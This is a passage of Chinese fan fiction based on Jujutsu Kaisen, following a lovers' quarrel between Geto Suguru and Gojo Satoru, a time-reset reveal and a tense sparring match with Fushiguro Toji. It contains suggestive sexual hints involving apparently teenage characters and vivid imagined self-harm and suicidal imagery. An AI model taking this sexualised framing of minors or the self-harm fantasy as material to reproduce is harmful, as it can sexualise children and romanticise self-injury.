夏油杰收到了一万万点暴击,内心完全被挚友和恋人刷屏,一时间竟绕进去了。
“好了,我们来拍官宣照吧!”
五条悟已经自顾自进入了下一个环节。
“等等!”夏油杰惊恐的大吼,面对镜头,飞快掀起被子蹿进五条悟床上,把自己裹的严严实实。
“等等等等等等等等——!”
“让我想想。”
夏油杰把自己缩起来,无意识咬住的指尖,又瞬间呸出去。
挚友怎么能是恋人呢?!
挚友怎么可能能做恋人呢?!
苹果是水果,梨也是水果;苹果长在树上,梨也长在树上,苹果怎么会是梨呢?
夏油杰复习了一遍三段论的推理原则,很快清醒过来。
悟完全是太白纸,概念太少了!该给他读点社科人文类的书了,单向发展是没有前途的!
他掀开被子抬头,对上了五条悟的眼睛。五条悟站在床边,投下的影子将蜷起的人整个包裹。
他唇角勾起,半个面孔隐没在朦胧的阴影下,那双永不停歇的六眼像能量充足的摄像头对准他,无时无刻的摄取捕捉。
夏油杰本能皱了皱鼻子,他板着脸语气严肃地说,“听我说,悟。”
他抽出胳膊,把站着的人拉着坐在床边,细心讲解了一番三段论,又重新举例了一番苹果梨子说。
“——总之,挚友是不能成为恋人的!”
31.时空bug
“——挚友是不能成为恋人的!”
五条悟:“哈?”
“你是说破苹果破梨子可以比拟我们之间的挚友情吗?”
“我不是这个意思啊!”夏油杰一脸奔溃,恨不得立刻马上化身寄生虫啃上几口五条悟的大脑皮层,也好亲眼见识一下他的神经走向怎么能这么神经?!
“只是举例子!举例子,你懂吗?”
“老子不懂!”五条悟干脆利落的击碎了他的期望,一脸愤愤不平,两只眼都写满了不服气,“你一会说只有恋人才能做快乐的事,一会又和老子做快乐的事,既要又要,杰是渣男吗?”
夏油杰目瞪口呆:“我怎么会是渣男?!我们两个都是男生,渣也渣不到你头上!要不是你撒娇,不帮就一副要死不活的熊样,我会脑子一抽大脑皮层变光滑的做这种事情吗?!”
“啊哈——?你的意思是老子强迫你的吗?!你的意思是老子轻轻一拉你就娇躯一震身娇体软浑身无力的臣服于老子了吗?!!”
夏油杰额角抽抽,满脸问号。
娇躯一震?身娇体软?我??
这家伙……最近又看了些什么啊?!
五条悟气的从床边猛然弹起,一只脚着地,另一条大长腿踩在还裹着薄被的夏油杰身侧,将屈腿蜷坐的人揽在一方小小的天地里。
气势汹汹的姿态配上咄咄逼人的眼神,分明是极具压迫性的一幕……但夏油杰眼前唰的一花,眼睛蓦的与岔开的那一坨凸起平视的那一秒……
他饱满的耳垂滚烫,尴尬的揪住被子把自己拢紧,默默朝后面蠕动屁股,悄悄移开视线。
可是……
左边,是五条悟大大咧咧抬起,平角内裤绷紧,大腿根一览无余的雪腻肌里。
右边,是随着大开大合的动作,内.裤松紧下滑的胯骨,隐约可以瞥见半个浑圆。
“……”
他不死心的再移。
前面,是五条悟衣角掀起,细腻整齐的腹肌。他还没有洗澡,此刻汗液随着呼吸的频率滚动流淌,滴滴晶莹在明亮的白炽灯下反光,在干燥的皮肤上舔下道道徒留遐思的水痕。
平日里酣畅淋漓打过一架后两人不是没有打过赤膊,甚至体术课后去到体育馆沐浴,那里的澡间是透明的玻璃隔间,他们也曾坦诚相待。
但在这安静到落针可闻的几秒里,在被圈揽的鼻尖满是对方甜腻的果香的空间,夏油杰满心满眼的坐立不安,喉头干涩,喉结滚动,有点后悔把那瓶喝到一半的矿泉水留在了医务室。
“……”
他沉默两秒,双脚抬起,以屁股为支点,妥协的转到后面,面无表情的盯着窗外。
这退让的沉默的姿态印在五条悟眼里,妥妥的对方心虚了、词穷了,理没了,自己嚣张的气焰被助长了要开始闹了!
他迈着两条裸腿穷追不舍,一把揪住夏油杰当衣服领子使的被子把人转过来,两只眼睛阴恻恻盯着他,“所以,杰是渣了老子?”
咬牙切齿的怨气,声音都是从牙缝挤出来的。
追捕夢魔时的葬爱cosplay只是权宜之计,他可不允许自己真的吃亏!
所以这小子,还觉得自己吃亏了?
看着脸,不用说也知道对方拐到哪个犄角旮旯去了。
狭长的狐狸眼瞪的圆溜溜的,夏油杰一脸岂有此理。
岂有此理!得了便宜也不是这么个卖乖的!
“我渣你什么了,我把你揍成渣渣还差不多!快乐都是你的,手酸都归我的!晃晃你那可爱的小脑瓜好好想一想,不管套用哪套逻辑,吃亏的都是我吧!”
五条悟耳尖一动,敏锐捕捉到了‘重点’,“所以杰是觉得自己吃亏了。”他恍然大悟眼睛噌的亮起,用力拍掌一脸“如此这般那很好办”的表情,“那老子把自己赔给杰就好啦!”
“谁跟你就好了!”夏油杰死命往后仰去躲五条悟越凑越近的脸,“你送我我都不要!总之,你给我放下那些有的没的的离谱心思,别给我整些七七八八的鬼东西!”
五条悟微微歪着脑袋,圆圆的猫眼盯着他。明明没什么大的表情,但夏油杰愣是瞧出了几分无辜委屈。
半晌,歇了力。他落地的那条腿也抬上床,双脚并拢的蹲在床上,把下巴软软的搭在夏油杰被被子围起来的肩上,声音黏黏糊糊的抱怨,“杰好过分。”
这种姿势,像忧郁的孩子抱住了自己心爱的金毛犬,垂头丧气的白毛猫猫抱住了不觉明历的黑毛狐狸。
精力充沛的猫一招安分下来,倒叫狐狸诡异的生出了几分手足无措。
他用力将被被子和手臂双重紧箍套牢的胳膊抽出来,轻轻揉了揉阖着眸子,垂在肩上的猫猫头。
清浅的呼吸喷洒在肩颈,明明隔着一层还算厚实的被子,却好像猫猫打哈切时开花的脚脚,一下一下踩在了心里。
“悟,很多事情你还不怎么懂。你太单纯,太洁白,太懵懂了。我们这样就很好很好了,不是吗?”
夏油杰的眉头像春日两道稍稍蜷曲的柳叶,有烦恼,有忧愁,淡淡的并不浓烈,细微处又勾的绵长。
连带着轻柔又婉转的语调,都像是柳树下一弯曲折的溪水,总被大大小小,或直道或弯流的沙砾碎石击散,冲到岸边,再不复归。
他发自内心,对现状由衷感激,也对确定的未来心已笃定,匪石不转。
无论与谁,在已知的普世认可的残酷情境下深交,都是对留下之人的残忍。
他没办法向谁许诺什么,但凡出口,皆是背心的蜃楼,是欺取真心的诳语。
懵懂的神子一无所知,将寻到的宝藏满心欢喜递交给他。苦涩的囚徒接过潘多拉的魔盒,美丽绮丽的神秘蛊惑人心,他不能免俗,他无法摆脱。
他知道,他将带给他什么——
瘟疫、干旱、疾病、仇恨,与封在盒底的百无一用的,希望。
至少他该将希望还给他,哪怕自己将面临冻馁、战争、苍老和灾年,但总该有什么来惩罚负心的魔鬼,譬如割舌与被巨石反复碾压——
神总攻不会夺走神子的黄金时代。
这么想来,还真被五条悟说中了,他果真是个渣男。
顺着白发的手顿住了,他眸子晦暗,垂着眼帘,自嘲的笑了笑。
感到头上游移的温热顿在某一处,五条悟雪白的睫毛扑扇,慢慢睁开了眼睛。
黑发少年
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身上的气场倏地变了,从无奈一瞬间跳到了的某个不知名的地方,闻上去又苦又涩。
五条悟一点不觉得是因为夏油杰对自己感到烦躁不耐或厌恶倦怠。
他一向敏锐,难以分辨人类身上的情绪却也能看的分明,何况被他投注长久注视的夏油杰。
怪刘海只是个一个不折不扣的傻瓜。一个看见人类双眼常年物理上发光就把人当猫咪看的傻瓜!
一个全世界只有他会觉得五条悟单纯懵懂容易被骗一不小心就会被欺负被莫名其妙的知识毒害幼小心灵的傻瓜!
不耐烦?讨厌?笑死!
怪刘海才舍不得老子伤心!!
于是他抬起头,改为单手环抱与更省力的跪姿,空出的手摁住黑发少年的后脑勺,将人用力压在自己的肩膀上。
“杰不愿意做老子的恋人就算了,杰不要不开心。”
像是长久跋涉的迁徙者,夏油杰终于能够卸力,不再提心吊胆,放任自己贪图片刻温馨。
他没有抵抗,看似在纵容对方,“悟不提了?”
“老子只是想和杰永远在一起,名义多一个总比少一个好。但无论什么名义、是不是恋人,杰都是要和老子在一起一辈子的,纸条上都写好的!所以如果杰不愿意,老子不提就好了,反正恋人没有杰开心重要。”
“悟……”
夏油杰不敢去看他的眼睛,仅凭想象他也能知道五条悟说这句话时的样子。
脸上绝对云淡风轻,眼神绝对会和从容沉着的陈述语气一样若无其事,根本不会意识到自己在说什么了不得的大话。
若是自己面红耳赤反应过大,他就会莫名其妙的挑高一边眉毛——大多数时候是左边——然后像咬不到尾巴的猫猫一样哈气。
想着想着,黑发少年突然闷闷的笑起来,然后将自己埋的更用力更深了一些。
埋着的鼻尖一耸一耸,若非六眼,五条悟还以为挚友被自己弄哭了。
左边眉头一挑,他悄咪咪的用脚趾夹住游云的铁链,从揉乱歪斜的枕头下边播到手边。
“打劫!”
突兀的,夏油杰笑出的牙尖还没收回去,靠着的壮硕肩膀就抽离开来。
茫然中,脖颈间的冰凉冻的他一哆嗦,干脆利落的一击锁喉将他圈牢,顺着力道被摁在床上。
望着挚友懵懵的眼神,五条悟嘿嘿一下,大掌扣住纤细的脖子微微抬起,将游云抽出来。
余光瞄到通体红黑,线条利落的三节棍,夏油杰眸光突地一凝。
“裂纹?为什么游云的棍柄上都是裂纹?”
游云作为唯一没有被赋予术式,完全凭使用者自身身体素质发挥作用的特级咒具,其本身的材质也称的上一句咒具之最。
见夏油杰好奇,五条悟手腕翻转,将游云迭起递给他。
当初远看还以为是特殊的咒文或纹饰,现在拿在手里,却见游云的棍身爬满了蜿蜒凌乱深浅不一的沟壑,尤其是中间的棍体,更是如同被人用小孩做手工的木锯齿寸寸磨过,表面的红漆剥落,只剩道道不规则的深黑疮疤横亘。
“这个啊,”五条悟摸摸下巴,云淡风轻道,“时空扭转拉不动的那根进度条呗。”
32.闹掰(含补更)
“这个啊,时空扭转拉不动的那根进度条呗。”
“时空…扭转?”夏油杰皱着眉头,迟疑的问道。
这太超乎想象了。
五条悟手舞足蹈的讲解:“这个世界被重置过啦,就像是游戏一样,存档然后点击倒退,或者从头开始了第二周目。”
“换句话说,我和你,世界上所有的人和物,都被逆时钟转动了指针,回到了过去的某一个点,但事实上我们都曾抵达过未来。”
黑发少年垂眸,摩挲着并不光滑的棍体若有所思,“所以游云的裂纹是‘未来’产物?为什么它的时间没有倒退?”
“这不奇怪,”五条悟歪站在床边,饶有趣味的拨弄着未被托举的那截棍体,打了个比方,“就像是玩RPG,因为程序员技术不到位游戏出现了bug,游戏界面的某些花花草草或者布景并没有随着玩家点击存档而归复原有的指定状态,而游戏却已经发行,这些细节并不会影响主线推进和玩家体验,程序员便懒得修复,一直遗留了下来。”
很小的时候,某一天开始,五条悟知道,这个世界出现了问题。
天空突然垂下了无数虚拟的金色丝线,像是刺破一切晦暗的阳光,天地都被熏的金碧辉煌。
它们破开苍穹,沿着云层的空隙洒下,犀利平等落在每一个人头上。
五条悟不是例外,甚至身上洋洋洒洒的系满了无数线头。
熙熙攘攘的人群若无其事的来来往往,络绎不绝间浑然不觉的将排布有序的金线织的密密麻麻,如同未来末日科幻片里一切归为数码消失时的场景。
人们身上的咒力犹如被闯入的投影,明明灭灭间,夯实,透明,又夯实。
这美丽神圣的一刻,以迅雷不及掩耳之势蛮横的闯入五条悟泛出血丝的眼睛,他一眨不眨的看着一切,全无恐惧,反而诡异的兴奋。
世界在他眼里缺乏秘密,但此刻,有了值得他去他探寻探究的谜底。
夏油杰摩挲游云的指尖停住,他极力控制自己眨眼的频率,不想五条悟察觉分毫。
一直以来,他自以为得天垂爱,有幸窥视到未来的一角,有了撼动命运齿轮的主动权。
但尚未发生过的未来与重启之后的现在有着天壤之别,他不敢去想那些他看到的——血腥、暴力、死亡……残酷的阴影真的曾经笼罩在他们头上。
所以……他看的的并非是预言,而是……
“杰。”
五条悟收起斜倚的脚站直,温热的掌心猛的攥住夏油杰颤动的指尖,游云被陡然施加的力道震的乱晃。
夏油杰浑身一抖,打了个激灵。面上毫无异色,笑着回望向五条悟目光担忧的双眼,反手轻轻拍了拍他的手背,“没事,刚刚走神了,游云有点重没拿住。”
他伸手摸了摸自己身上,又圈住五条悟的手腕找寻,想要勾住他嘴里所谓的线头。
白发少年嘴上说着“哒咩”“非礼”的词语,却伸着手乖乖任他动作。
“只有那一瞬间而已,线早就不见啦。”五条悟眉弓挑着,懒得相信他逞强的鬼话,转而将自己知道的一切和盘托出,“只有杰的身上还留存着相对浓厚的气息哟,所以杰是一切的枢纽。”
夏油杰圈住手腕的动作蓦地一顿,猛的抬头,“所以是未来的我扭转了时空?!”
逆转时空,颠倒乾坤,何等伟力!
一出口他就知道自己说了句不自量力又愚蠢至极的诳语,有所谓的神明珠玉在前,他怎能狂妄的冒领这篡天的壮举。
“这个老子就不知道了,可能是,可能不是,但杰一定在其中扮演着很重要的角色。”
五条悟一本正经地说,手腕上夏油杰的手还没拿开,像是太过不可置信,指尖与掌心烫的要命。他懒懒的依着动作,转身在床边坐下,安慰自己瞳孔剧颤的挚友,
“老子不知道未来发生了什么,杰会努力让一切归位,给世界一次重新来过的机会,但杰最擅长创造希望了。”
这一下,夏油杰的瞳孔是真的剧烈震颤起来了,他的目光像春日粼粼的湖水,又像聚光灯下折射光辉的水晶,声音发哑的喃喃。
“……悟……”
这样的五条悟,他怎么舍得和他分手,他怎么舍得让他伤心,但他要去做那个恶人了。
他决心将暴力驱赶,让血腥远离。他想要牵着他的手,躲在高专的金木犀树下,捂住他的耳朵,不让做鬼的命运找到。五条悟可以永远干干净净的坐在一墙之隔的床面上打电动,不必去忧心牵挂所谓挚友的未来。
从这一刻起,夏油杰决心做五条悟生命的过客,那个留存在对方记忆里违背誓约,背信弃义,冷酷无情,满嘴谎话的人,做他嘴里偶尔陶侃的“只会骗老子的优等生”。
一切已经发生了,有些必定会降临。
太阳冉冉升起,月亮就要坠落。
夏油杰无数次痛恨自己的傲慢、不堪、固执、贪婪、懦弱、悲观。
他试图告诉自己,说服自己,丧失感官远没有想象的那么可怕。至少他可以做一个像电视里那样的很酷的没有痛觉的AI机器人,至少在比拼体术的时候五条悟决计不再是自己的对手。
可一切远非那么简单,一切都要逝去了。
世界如一幅缓缓褪色的画,慢慢剥落油彩,慢慢发旧,慢慢落满灰尘。待到那时,他不过一具被困在日渐腐朽躯壳里的移动标本,扒在永不开裂的石缝,可怜的遥望一点微薄的阳光,度日仓惶。
不会有轻重意识的动作,像个摇摇晃晃蹒跚学步的孩子一样行走,每次触碰都有可能捏断一个人的腕骨。
尝不到食物的味道,作为束缚存在的恶心如擦拭过呕吐物的抹布味却将终身如影随行;无法嗅到的血味和咒力残秽,甚至无法再感知自己的体温。
抑郁症患者尚且可靠着自残感知自己尚存于世,他要又以什么来证明自己并非停留人间的残影?
到那一日,他会拼命摁压自己的胸膛吧。
摁压、摁压、再摁压。
为了感受心跳,他会摁断自己的胸骨吧。
直到嶙峋尖锐的骨刺扎进噗嗤噗嗤跳动的心脏,直到意识模糊,全身泛出发自灵魂的幽冷,直到双眼迷离恍惚,目光所及皆是片片糊掉的色彩……最后一次感受活着的乐趣,然后,沉入冰冷的湖水。
是的,夏油杰时常感觉自己行走在一片冰封的湖面。那湖坚硬如铁,那冰光滑如镜。
他走在湖面,冰层绝不会碎裂,他亦不会下沉。
凭着茫茫风雪深处吊着的希望,他翻山越岭,攀上雪山,顶风冒雪,结满冰碴,花光所有运气,终于在山顶打开一间猎人留下的木屋。
五条悟就是这间木屋。
那木屋的壁炉熊熊燃烧,终年如春。他哆哆嗖嗖的把颤颤巍巍的手贴近,首先感知到的是毛细血管舒张带来的痛痒,接着是踩在云端的令人惶恐的幸福。
那一刻,他恍惚以为木屋为他守候,如同他跋涉万万里才打开这一间木屋。
但木屋终究属于猎人。
蹑手蹑脚迟早会摔倒,胆战心惊会害死一个人。
于是他原路折返又踏上冰封的湖面,带着偷来的余温,暖化一层顽固的坚冰。那冰下湖水汹涌滔天,只要一丝喘息,便能以浪推冰。
于是脚下无路,而他甘愿解脱。
他迟早会在五条悟的心巴上开一个难愈的大洞,就像宿舍西侧的墙壁。
依他性子,说不定还舍不得愈合,甚至照样兴致勃勃的将裂口打磨的光滑平整,然后盯着从顶上到地面的洞口,歪着头,饶有趣味的将摊开的长腿伸展进里面,欣悦地晃动自己的双脚。
怎么可以这样呢?怎么能够这样!
夏油杰绝不允许。
他该坐在光里伸懒腰,光会把他勾勒地毛茸茸,金灿灿,暖乎乎。
在未来面前谁都要让路,所以夏油杰得为五条悟的未来让路。
这绝不是出于某种自我感动,夏油杰只感到深沉的愧疚。
为自己的反复无常,为白发挚友即将遭受的冷漠对待。
他平缓了面部的神情,面无表情的松开手,一言不发的从洞口回到自己房间。
“明天叫人来吧洞填上吧。”
“啊——?!”五条悟瞪着眼睛啪嗒啪嗒地越过墙面追过去,噗嗤一下倒在干净整洁的床铺上来回打滚,“不要嘛——不要嘛!老子拿苍磨了好久的!杰不是答应老子了吗!怎么可以反悔!!”
夏油杰故作冷漠的看着翻滚的人和凌乱的床,以一种不带任何感情的称述语调道,“你把我的床弄乱了。”冷淡的声音顿了下,继续说,“我什么时候答应过你?”
五条悟僵在床上,大大的眼睛骨碌骨碌的转。
黑发少年是没有答应过他啦,但一般他不说我不问不就是默认了吗!默认不就是赞同吗!赞同不就会来帮他成为帮凶吗?!
他磨墙的灰还是夏油杰扫的,粘灰的床单被单还是夏油杰换洗的呢。
他撅着嘴撒娇,“杰帮了那么多忙不就是赞同吗,这个时候和悟酱纠结这个干什么?”
他一边含含糊糊地说着,一边去勾黑发少年的衣摆。
五条悟撒起娇缠起人来,简直比撒泼打滚要玩具的孩子还难缠。尤其对夏油杰——这个极为纵容他的朋友,更是会发挥出十成十吃奶的劲,不达目的誓不罢休,达了目的还要连吃带拿。
夏油杰一反常态的抱着手臂不为所动,甚至呵斥,“我的扣子被你拽崩了,请你回你的房间!”
抓住衣摆的手倏地僵住,苍蓝的明瞳不敢置信的瞪大,视线寸寸扫过面色发冷态度冷淡的黑发少年,似乎想用看穿一切的六眼去确认挚友有没有被人夺舍。
白发猫猫猛的跃起,扑到黑毛狐狸怀里,跪在床上,臂弯勾着对方的脖颈把人拉低,另一只手不信邪的去摸他额头的温度。
“你中邪啦?”
夏油杰不耐烦的偏首躲过,用力一把扯下胳膊把他拽起,将人推进对面。
“不要对人动手动脚,也不要未经允许踏进别人的房间,这个洞你找人补上。”
不拖不累的几句话,将烦躁不耐的态度展现的淋漓。
五条悟措不及防被拖的趔趄,心头也窝了火,“好好的你发什么颠,心理这么脆弱,这么一点点真相都承受不住吗?”
“什么不要动手动脚,什么礼貌修养?先对老子动手动脚的人是你!对老子大包大揽管教的也是你!现在好了,一被刺激就找老子撒气,老子是你的出气桶还是一不高兴就使劲摁压捶打的捏捏乐?”
见他眼睛瞪出血丝,整个人像被刺中一样怒气冲冲,夏油杰使劲摁下心头绵延的酸涩和难过,双手插兜背过身去,“对,我心理脆弱。我不尊重人,我反复无常我小人。还请五条少爷以后离我这种人远点。”
“什么?”五条悟僵硬的收回俯冲的姿势,呆滞的站直身,整个人冷了下来,“你要撕毁条例?”这声音如高山雪水,清清泠泠,浇的人浑身冰凉,骨血生寒。
夏油杰没有回头,没有做声,也……没有反对。
五条悟冷着脸,依然睁大的眼睛微微眯了眯,单手插兜,压抑心底的烦躁,“杰,你怎么了?别忘了,我们约定过对彼此不能隐瞒!”
太不对劲了,一切都太荒唐太怪诞了。
转折点在哪里?一切从哪里开始变化的?
五条悟细细琢磨着他从浴室出来的点点滴滴,翻来覆去的盯着那些回忆,愣是找不出什么奇怪出格的地方。
夏油杰默不作声,慢慢的走到门口。五条悟登时如同哺食的猎豹,身姿迅疾的突进,用力压住门把手。
“出去打一架。”
“不了,”夏油杰耸肩挣脱他的禁锢,拉开了门,走出去两步,疲惫的声音落地,“只是……烦了你。”
黑色的人影消失在阴影尽头,像影子归于影子,悄无声息的匿进不可捉摸的黑夜。
房间里的身姿笔挺的像一座终年不化的雪山,只是睫毛颤动的落了捧雪,突兀的暴露出一点不知所措。
五条悟松了憋着的气,低落的揉揉脑袋瘫在就近的床上,眼神失焦的盯了窜动的飞蛾的灯影,心底默默地数着数。
躺了很久,想起那人冷酷决绝的话,他又赌气的起身,状似嫌弃的拍了拍全身,忿忿的踹了一脚床,把无辜的床铺踢塌一脚,闷闷的扑回自己床上,闷在被子里又开始数数。
胸口依旧沉甸甸的可怕,燥意混杂着可以翻天的委屈闷在地下发酵,将眼眶酿的酸涩,将鼻尖酝的通红,将空气都酦的酸涩辛辣。
比起凭什么,五条悟更多的是想不通和为什么。
这股子疑惑绕在心头找不到出口,急得他团团转,转出些怨怪来。
一切都好好的,甚至上一刻做着的是所谓的快乐的事,染脏的内裤还丢在垃圾桶里,刚刚躺在床上嬉笑玩闹的人却却无踪迹了。
一切的对立冲击,显得苍凉的事实多么残酷和不可置信。
夏油杰出门后乘着虹龙一路出了高专,漫无目的的在天上漫游。
天宽地广,但天上没有月亮,地上点亮的灯也零零落落,想必是今夜人间太平无事,匆促奔忙的人们都早早归了家。
夏油杰罕见的没有站着或者规矩的盘腿坐在虹龙的龙角间,而是想起两人从天内理子家里回去的晚上,想起五条悟自在晃荡的双腿。
于是也侧做在虹龙的背脊,将双脚浸入缠绵遣倦的夜风,任由冰凉的风握住纤细的足踝,吹鼓起灯笼裤的裤脚,盖在仰躺着的身躯。
有风在,这是唯一的宽慰。
至少在长久的冰凉的风的吹拂中,发麻刺痛的指尖像是被凉风浸泡后的结果,而非来于痛彻心扉的胸膛。
望着无星无月的夜幕,想象着明天晴朗天气下澄澄的苍蓝,夏油杰无可奈何的长舒口气,阖上了眸光复杂的眼睛。
滋长的爱潜进梦乡,在斑斓迷离的梦境生根发芽。
许是空气不流通,五条悟所幸坐起来,随手从衣柜抓了条裤子。从窗户上一跃而下跑到操场,莽着头狂奔五十公里。
“老子再也不要理怪刘海了!没有怪刘海的管束,一切都是自由的!芜湖~~~啊哦哦哦哦哦哦~~~”
“怪刘海不跪在老子面前匍匐着诚心诚意认错,老子再理人就是小狗!”
中气十足的几声大吼,朕得黑夜下的鸟雀纷飞,震的家入硝子手头一个不稳,划破了手头牛蛙的走入神经。
“这两个家伙,今晚再玩谁是猿人的游戏吗!可恶啊!”
她带着口罩,恶狠狠的盯着台上蹬腿的牛蛙,凉凉地握起凉凉的手术刀,给了凉凉的牛蛙一个痛快。
*
训练场的地板被汗水洇出深色的斑驳印记,空气沉重得如同吸饱了水的海绵,每一次呼吸都带着刺痛的阻力。
夏油杰喘着粗气,手中的长棍带着狠厉的风声砸向伏黑甚尔,却被对方以一种近乎轻蔑的侧滑避开。
过了几天,带着无何奈何不情不愿,伏黑甚尔抱着老婆嚣张的直愣愣闯入高专的结界。
呜嘞嘞刺耳的警报声响彻高专,停留在高专的术士倾巢而出,层层围困这位榜上有名,名声响亮的传说级术式杀手。
在场的家入硝子心累的看着一左一右右右右——的两个冷脸dk,没办法的自己讲清了前因后果。
夜蛾正道当场脱下皮鞋追着两人满操场的跑,两人沉着脸难得没说什么胡扯的歪道理,一人一边溜的飞快。
班主任最后还是捏着鼻子不情不愿的认命替学生收拾了残局,伏黑甚尔自此摇身一晃,从人人喊打的术式杀手进化成拖家带口的光荣人民教师。
“啧。”伏黑甚尔懒得看那落空的棍子,随意抬手,小臂外侧硬如钢铁,轻松向外一推。
“咔啦!”
一声刺耳的脆响。
一股巨力沿着攀上手臂,虎口瞬间麻木。那根布满裂痕的长棍在他手中断成两截,半截断棍旋转着飞出去,另外半截随着用力到泛白的力度,木刺扎进掌心。
黑发少年站在原地,胸膛剧烈起伏,汗水顺着紧绷的下颌线不断滴落,砸在地板上,溅开微小的水花。
伏黑甚尔退开一步,随意地甩了甩手腕,“行了,下去吧小子。”他下巴随意朝场边一点,“换人。那边那个,麻溜过来。”
夏油杰没应声,停顿几秒,用力将剩下的那截断棍往旁边一丢。
木棍砸在地上,发出一声闷响。他转过身,径直朝休息区走去。
经过场地中央,他与双手插兜的五条悟擦肩而过。
两人之间的距离不到半米,空气瞬间凝固,连漂浮的灰尘都恍惚停滞了一瞬。
五条悟的脚步没有丝毫停顿,也没有侧头。他没带墨镜,视线笔直地投向那个健壮的男人,仿佛夏油杰只是一团透明的空气。
夏油杰与人擦肩而过后,脚步不由自主的停了一秒,而后径朝着向水壶的位置走去。嘴角一向翘起的弧度消失得无影无踪,只剩下一道干涩的直线。
没有目光交汇,没有言语,只有擦肩而过时带起的那一缕微弱气流,冰冷地拂过皮肤。
伏黑甚尔眯着眼,将这一幕尽收眼底,嘴角无声地咧开一个讽刺的笑。
他目光锁定五条悟——这位同样传说级的六眼神子——下巴挑衅地一抬,“喂,小子,”声音不高,带着令人烦躁的穿透力,“憋着火?来,让我看看,‘最强’的拳头是不是跟你现在的脸一样硬。”
话落瞬息,五条悟冷冷抬眸,身姿晃动。
没有多余的言语,也没有花哨的起手。不是疾冲,而是瞬间爆发出的恐怖速度!
身影在原地模糊了一瞬,再清晰时,他已出现在伏黑甚尔侧后方!插在裤兜里的右手闪电般抽出成拳,带着沉闷的呼啸,直捣腰侧软肋!
伏黑甚尔脸上依旧懒散,只凭身体本能,腰腹爆发出惊人的力量,轻松让五条悟的拳头擦过。
一击落空,动作毫无迟滞。前冲的势头被强行扭转,左腿借着回旋的力道,狠狠扫向甚尔的脚踝!
男人眼中凶光一闪,不闪不避,膝盖猛地向下一沉,脚跟发力,死死钉入地板。
“砰!”一声令人牙酸的闷响。
穿着校服的腿结结实实鞭在他的腿骨外侧,伏黑甚尔纹丝不动,右拳如出膛的炮弹,带着撕裂空气的锐响,直轰向名义上的学生因扫腿而暴露的、毫无防备的腰腹!
“嘭!”
沉重的闷响。
拳头狠狠砸在仓促格挡的小臂上。巨大的力量让他身体猛地一颤,踉跄着后退半步,手臂上传来的剧痛让他的眉头狠狠拧起。
“喂,夏油,”场地边缘,家入硝子倚靠着观众席的蓝色塑料椅随手抛了瓶水给他,“闹得够久了哦,你们什么时候和好。”
“那可是六眼神子欸,他们两个关系很好吗?”
说话的是身着巫女服,留着公主切双马尾的高二学姐,庵歌姬。
家入硝子哼笑一声,“等过几天他被哄好你就知道所谓的神子的真面目了。”
拖夏油杰的福,这几天五条悟日日板着脸,身上的冷气更是不要命的嗖嗖地放,还倒真有了几分旁人想象中的神子该有的威势。
夏油杰面无表情的灌着水,盯着场上不断闪避有进攻的人影,眼睛一眨不眨,“我和他不会和好了。”
这语气,斩钉截铁。
——这是夏油杰自认为的。
家入硝子耳朵里,这句话说地苦涩又沉闷,甚至有些哀怨。
“这话说的,你自己信吗?”她挽着学姐的胳膊望着靠着椅子孤零零站着的黑发少年,他的脖子沾满湿汗,粘着几缕打斗之时掉落的发丝,“我没猜错的话,你们吵架那天和你对我说‘五条悟也不该孤独’是同一天哦。”
夏油杰垂眸揉弄着矿泉水上撕下来的蓝色
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塑料标签,默不作声。
“姑且问一下,为什么?”
问题是出在丸子头少年身上的,家入硝子笃定。
傲慢又傲娇的五条悟大少爷捱了几天受不了,不是没有别别扭扭的给过台阶。
说一个两个人都感兴趣的话题,看似自言自语的嘀咕一些咒力知识,像是被手机吸引了全部注意力的站在教室外面……
但夏油杰从没有搭话,也从来没有像往常一样顺手牵住他。
汗水从额角、鬓边、下颌不断渗出、滚落,浸湿了雪白的发丝和衣领,五条悟湿红的耳尖微动。
“呃!”压抑的闷哼响起,一记刁钻的勾拳擦过他的脸颊,在他莹白的颧骨上留下一道火辣辣的红痕。
场边,夏油杰再一次拧开瓶盖,仰头灌水,喉结快速滚动。
冰冷的液体滑过喉咙,却丝毫无法平息胸中那团翻搅的焦灼。
他的目光,像是被无形的磁石吸附,死死钉在场中那令人窒息的风暴上。
握着水瓶的手指无意识地收紧,指关节绷得发白,塑料水瓶发出刺耳的“咯吱”声。
“夏油?”
没等到回答,女同期的声音再次响起。
他强迫自己移开视线,机械转头,回望向难得执着的女医生。
家入硝子铁了心今天定要问出个一二三所以然来,夹在两个空调之间的滋味她受够了!
更别提五条悟偶尔的发疯之举,也算是报了夏油杰外带的烟酒之恩。
“只是烦了而已,就像你说的,没有人会对sa……五条悟有过多的耐心。”
伏黑甚尔整个人如炮弹般撞入五条悟的近身!他左手成爪,闪电般抓向六眼神子的面门。
五条悟像是被逼狠了气急了,咬着腮帮子不闪不避的化章为拳,狠狠砸入掌心。
“砰!”
沉闷到令人心悸的撞击声响起,论单纯的力道,五条悟远不敌身经百战又身为天与咒缚的男人。
他被攥住的手挣脱不得,身体猛地一歪,瞬间失去了平衡,整个人如同被折断的标杆,不受控制地被这股巨力狠狠扫飞出去!
方向,正是不远处靠着椅子的夏油杰!
风声在耳边呼啸,身体在空中失去控制地翻滚,视野天旋地转。
就在这颠倒混乱的视野里,他清晰地看到了那个身影。
几乎是出于一种刻入骨髓的倔强,五条悟眼中爆发出强烈的抗拒。
他强行扭动腰腹,不顾身体在空中带来的剧烈撕扯感和手骨的剧痛,将所有的力量都用来强行扭转身体的轨迹!
就在他即将重重撞上观众席、撞上夏油杰的前一瞬间——
身体以一个极其别扭、违反惯性的角度,硬生生地改变了飞行的方向,轰然砸落在离黑发少年足有一米多远的地板上!
“呃啊!”
巨大的冲击力让他发出了一声压抑的痛哼,他单膝跪地,死死撑住地面,才勉强稳住身体没有彻底倒下。
在五条悟飞出中心的一瞬间,夏油杰下意识地上前摊开臂膀。心脏在胸腔狂跳,重的要撞碎肋骨。
五条悟眼中混杂着的剧痛和某种强烈的抗拒情绪,像一根烧红的针,狠狠刺进了眼底。
他看着近在咫尺、单膝跪地、剧烈喘息的人,整个人僵在原地。喉咙里像是被滚烫的砂石堵死,连呼吸都停滞了一瞬。
然后机械的后退几步,几乎狼狈的打了个趔趄,满目仓惶的后撤离去。
家入硝子抬手摁在五条悟的肩上,有些无语的看着那道像是自己深受重创腿部骨折的酿跄背影,气的翻了个大大的白眼。
伏黑甚尔站在原地,随意地甩了甩隐隐作痛的右手,看着狼狈跪地的五条悟,有些惋惜的收手。
真想把所谓六眼神子的尸体甩在那帮人面前,真是可惜了。
他慢慢踱着步子路过狼狈的五条悟和治疗中的家入硝子,以及一旁吃惊到极点的用宽大的袖子掩着手机拍照的小女孩。
